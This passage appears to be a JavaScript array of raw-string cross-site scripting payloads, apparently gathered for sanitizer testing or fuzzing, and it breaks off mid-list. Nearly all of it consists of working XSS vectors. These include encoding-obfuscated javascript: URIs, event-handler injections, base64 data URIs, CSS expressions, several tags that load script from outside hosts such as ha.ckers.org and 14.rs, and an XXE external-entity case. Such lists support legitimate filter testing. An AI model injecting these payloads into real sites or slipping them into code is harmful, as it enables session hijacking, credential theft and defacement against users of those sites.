  String.raw`<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?`,
  String.raw`<svg><script ?>alert(1)`,
  String.raw`<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>`,
  String.raw`<img src=\`xx:xx\`onerror=alert(1)>`,
  String.raw`<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>`,
  String.raw`<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>?`,
  String.raw`<math><a xlink:href="//jsfiddle.net/t846h/">click`,
  String.raw`<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?`,
  String.raw`<svg contentScriptType=text/vbs><script>MsgBox+1`,
  String.raw`<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a`,
  String.raw`<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>`,
  String.raw`<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+`,
  String.raw`<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F`,
  String.raw`<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script ????????????`,
  String.raw`<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>`,
  String.raw`<script>+-+-1-+-+alert(1)</script>`,
  String.raw`<body/onload=&lt;!--&gt;&#10alert(1)>`,
  String.raw`<script itworksinallbrowsers>/*<script* */alert(1)</script ?`,
  String.raw`<img src ?itworksonchrome?\/onerror = alert(1)???`,
  String.raw`<svg><script>//&NewLine;confirm(1);</script </svg>`,
  String.raw`<svg><script onlypossibleinopera:-)> alert(1)`,
  String.raw`<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe`,
  String.raw`<script x> alert(1) </script 1=2`,
  String.raw`<div/onmouseover='alert(1)'> style="x:">`,
  String.raw`<--\`<img/src=\` onerror=alert(1)> --!>`,
  String.raw`<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?`,
  String.raw`<div  style="position:absolute;top:0;left:0;width:100%;height:100%"  onmouseover="prompt(1)" onclick="alert(1)">x</button>?`,
  String.raw`"><img src=x onerror=window.open('https://www.google.com/');>`,
  String.raw`<form><button formaction=javascript&colon;alert(1)>CLICKME`,
  String.raw`<math><a xlink:href="//jsfiddle.net/t846h/">click`,
  String.raw`<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?`,
  String.raw`<iframe  src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>`,
  String.raw`<a  href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click  Me</a>`,
  String.raw`"><img src=x onerror=prompt(1);>`,
  String.raw`<SCRIPT>alert('XSS');</SCRIPT>`,
  String.raw`'';!--"<XSS>=&{()}`,
  String.raw`<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>`,
  String.raw`<IMG SRC="javascript:alert('XSS');">`,
  String.raw`<IMG SRC=javascript:alert('XSS')>`,
  String.raw`<IMG SRC=JaVaScRiPt:alert('XSS')>`,
  String.raw`<IMG SRC=javascript:alert(&quot;XSS&quot;)>`,
  String.raw`<IMG SRC=\`javascript:alert("RSnake says, 'XSS'")\`>`,
  String.raw`<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`,
  String.raw`SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>`,
  String.raw`<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>`,
  String.raw`<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>`,
  String.raw`<IMG SRC="jav	ascript:alert('XSS');">`,
  String.raw`<IMG SRC="jav&#x09;ascript:alert('XSS');">`,
  String.raw`<IMG SRC="jav&#x0A;ascript:alert('XSS');">`,
  String.raw`<IMG SRC="jav&#x0D;ascript:alert('XSS');">`,
  String.raw`<IMG SRC=" &#14;  javascript:alert('XSS');">`,
  String.raw`<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>`,
  String.raw`<IMG SRC="javascript:alert('XSS')"`,
  String.raw`<SCRIPT>a=/XSS/`,
  String.raw`\";alert('XSS');//`,
  String.raw`<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">`,
  String.raw`<BODY BACKGROUND="javascript:alert('XSS')">`,
  String.raw`<BODY ONLOAD=alert('XSS')>`,
  String.raw`<IMG DYNSRC="javascript:alert('XSS')">`,
  String.raw`<IMG LOWSRC="javascript:alert('XSS')">`,
  String.raw`<BGSOUND SRC="javascript:alert('XSS');">`,
  String.raw`<BR SIZE="&{alert('XSS')}">`,
  String.raw`<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>`,
  String.raw`<LINK REL="stylesheet" HREF="javascript:alert('XSS');">`,
  String.raw`<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">`,
  String.raw`<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>`,
  String.raw`<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">`,
  String.raw`<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>`,
  String.raw`<IMG SRC='vbscript:msgbox("XSS")'>`,
  String.raw`<IMG SRC="mocha:[code]">`,
  String.raw`<IMG SRC="livescript:[code]">`,
  String.raw`<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">`,
  String.raw`<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">`,
  String.raw`<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">`,
  String.raw`<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">`,
  String.raw`<IFRAME SRC="javascript:alert('XSS');"></IFRAME>`,
  String.raw`<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>`,
  String.raw`<TABLE BACKGROUND="javascript:alert('XSS')">`,
  String.raw`<DIV STYLE="background-image: url(javascript:alert('XSS'))">`,
  String.raw`<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">`,
  String.raw`<DIV STYLE="width: expression(alert('XSS'));">`,
  String.raw`<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>`,
  String.raw`<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">`,
  String.raw`<XSS STYLE="xss:expression(alert('XSS'))">`,
  String.raw`exp/*<XSS STYLE='no\\xss:noxss("*//*");`,
  String.raw`<STYLE TYPE="text/javascript">alert('XSS');</STYLE>`,
  String.raw`<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>`,
  String.raw`<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>`,
  String.raw`<BASE HREF="javascript:alert('XSS');//">`,
  String.raw`<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>`,
  String.raw`<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>`,
  String.raw`getURL("javascript:alert('XSS')")`,
  String.raw`a="get";`,
  String.raw`<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">`,
  String.raw`<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>`,
  String.raw`<HTML><BODY>`,
  String.raw`<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>`,
  String.raw`<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->`,
  String.raw`<? echo('<SCR)';`,
  String.raw`<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">`,
  String.raw`<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`,
  String.raw`<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<SCRIPT a=\` > \` SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>`,
  String.raw`<svg%0Aonload=%09((pro\u006dpt))()//`,
  String.raw`<sCriPt x>(((confirm)))\`\`</scRipt x>`,
  String.raw`<w="/x="y>"/OndbLcLick=\` < \`[confir\u006d\`\`]>z`,
  String.raw`<deTAiLs/open/oNtoGGle=confirm()>`,
  String.raw`<scRiPt y="><">/*<sCRipt* */prompt()</script`,
  String.raw`<A href="javascript%26colon;confirm()">click`,
  String.raw`<sVg oNloaD=write()>`,
  String.raw`<A href=javas%26#99;ript:alert(1)>click`,
  String.raw`<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>`,
  String.raw`<svG/x=">"/oNloaD=confirm()//`,
  String.raw`<--\`<iMG/srC=\` onerror=confirm\`\`> --!>`,
  String.raw`<SVg </onlOad ="1> (_=prompt,_(1)) "">`,
  String.raw`<!--><scRipT src=//14.rs>`,
  String.raw`<sCriPt/src=//14.rs?`,
  String.raw`<sCRIpt x=">" src=//15.rs></script>`,
  String.raw`<D3/OnMouSEenTer=[2].find(confirm)>z`,
  String.raw`<D3"<"/OncLick="1>[confirm\`\`]"<">z`,
  String.raw`<D3/OnpOinTeReENter=confirm\`\`>click here`,
  String.raw`<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm\`1\` //>`,
  String.raw`<Z oncut=alert()>x`,
  String.raw`<iFrAMe/src \/\/onload = prompt(1)`,
  String.raw`<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>`,
  String.raw`>>> vectors()`,
  String.raw`<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'\`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'\`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'\`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'\`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'\`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'\`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'\`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'\`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'\`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'\`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'\`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'\`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'\`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'\`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'\`-->]]>]</div><div id="16">X<x style=\`behavior:url(#default#time2)\` onbegin=\`alert(16)\` >//["'\`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'\`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>//["'\`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'\`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'\`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'\`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'\`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'\`-->]]>]</div><div id="24">1<set/xmlns=\`urn:schemas-microsoft-com:time\` style=\`beh&#x41vior:url(#default#time2)\` attributename=\`innerhtml\` to=\`&lt;img/src=&quot;x&quot;onerror=alert(24)&gt;\`>//["'\`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'\`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'\`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'\`-->]]>]</div>`,
  String.raw`<div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(28)&gt;>//["'\`-->]]>]</div>`,
  String.raw`<div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'\`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'\`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'\`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'\`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'\`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'\`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'\`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'\`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'\`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'\`-->]]>]</div>`,
  String.raw`<div id="39"><!-- up to Opera 11.52, FF 3.6.28 -->`,
  String.raw`<![><img src="]><img src=x onerror=alert(39)//">`,
  String.raw`<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->`,
  String.raw`<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'\`-->]]>]</div>`,
  String.raw`<div id="41"><li style=list-style:url() onerror=alert(41)></li>`,
  String.raw`<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'\`-->]]>]</div>`,
  String.raw`<div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'\`-->]]>]</div>`,
  String.raw`<div id="43"><?xml version="1.0" standalone="no"?>`,
  String.raw`<html xmlns="http://www.w3.org/1999/xhtml">`,
  String.raw`<head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head>`,
  String.raw`<body>Hello</body>`,
  String.raw`</html>//["'\`-->]]>]</div>`,
  String.raw`<div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'\`-->]]>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'\`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'\`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'\`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'\`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'\`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'\`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'\`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'\`-->]]>]</div>`,
  String.raw`<div id="53"><xml id="xss" src="test.htc"></xml>`,
  String.raw`<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'\`-->]]>]</div>`,
  String.raw`<div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'\`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'\`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'\`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'\`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'\`-->]]>]</div><div id="59"><div id="div1"><input value="\`\`onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'\`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="61"><div  style="\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;">XXX</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="62"><!-- IE 6-8 -->`,
  String.raw`<x '="foo"><x foo='><img src=x onerror=alert(62)//'>`,
  String.raw`<!-- IE 6-9 -->`,
  String.raw`<! '="foo"><x foo='><img src=x onerror=alert(2)//'>`,
  String.raw`<? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'\`-->]]>]</div>`,
  String.raw`<div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF`,
  String.raw`<img src="javascript:alert(2)">`,
  String.raw`<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓`,
  String.raw`<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'\`-->]]>]</div>`,
  String.raw`<div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'\`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="66"><?xml version="1.0"?>`,
  String.raw`<?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?>`,
  String.raw`<root/>//["'\`-->]]>]</div>`,
  String.raw`<div id="67"><!DOCTYPE x [   <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"onerror CDATA "alert(67)"onload CDATA "alert(2)">]><img />//["'\`-->]]>]</div>`,
  String.raw`<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">   <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x></doc>//["'\`-->]]>]</div>`,
  String.raw`<div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'\`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'\`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'\`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'\`-->]]>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'\`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'\`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'\`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'\`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'\`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'\`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'\`-->]]>]</div><div id="80"><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'\`-->]]>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'\`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'\`-->]]>]</div>`,
  String.raw`<div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml"  x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'\`-->]]>]</div>`,
  String.raw`<div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'\`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'\`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'\`-->]]>]</div>`,
  String.raw`<div id="87"><svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">`,
  String.raw`<animation xlink:href="javascript:alert(88)"/>`,
  String.raw`<animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>`,
  String.raw`<image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>`,
  String.raw`<foreignObject xlink:href="javascript:alert(88)"/>`,
  String.raw`<foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="89"><svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<set attributeName="onmouseover" to="alert(89)"/>`,
  String.raw`<animate attributeName="onunload" to="alert(89)"/>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="90"><!-- Up to Opera 10.63 -->`,
  String.raw`<div style=content:url(test2.svg)></div>`,
  String.raw`<!-- Up to Opera 11.64 - see link below -->`,
  String.raw`<!-- Up to Opera 12.x -->`,
  String.raw`<div style="background:url(test5.svg)">PRESS ENTER</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="91">[A]`,
  String.raw`<? foo="><script>alert(91)</script>">`,
  String.raw`<! foo="><script>alert(91)</script>">`,
  String.raw`</ foo="><script>alert(91)</script>">`,
  String.raw`<? foo="><x foo='?><script>alert(91)</script>'>">`,
  String.raw`<! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>">`,
  String.raw`<% foo><x foo="%><script>alert(91)</script>">//["'\`-->]]>]</div>`,
  String.raw`<div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'\`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="94"><svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">`,
  String.raw`<feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>`,
  String.raw`<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'\`-->]]>]</div>`,
  String.raw`<div id="97"><!-- IE 5-9 -->`,
  String.raw`<div id=d><x xmlns="><iframe onload=alert(97)"></div>`,
  String.raw`<script>d.innerHTML+='';</script>`,
  String.raw`<!-- IE 10 in IE5-9 Standards mode -->`,
  String.raw`<div id=d><x xmlns='"><iframe onload=alert(2)//'></div>`,
  String.raw`<script>d.innerHTML+='';</script>//["'\`-->]]>]</div>`,
  String.raw`<div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div>`,
  String.raw`<script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'\`-->]]>]</div>`,
  String.raw`<div id="99">XXX<style>`,
  String.raw`*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */`,
  String.raw`<!--`,
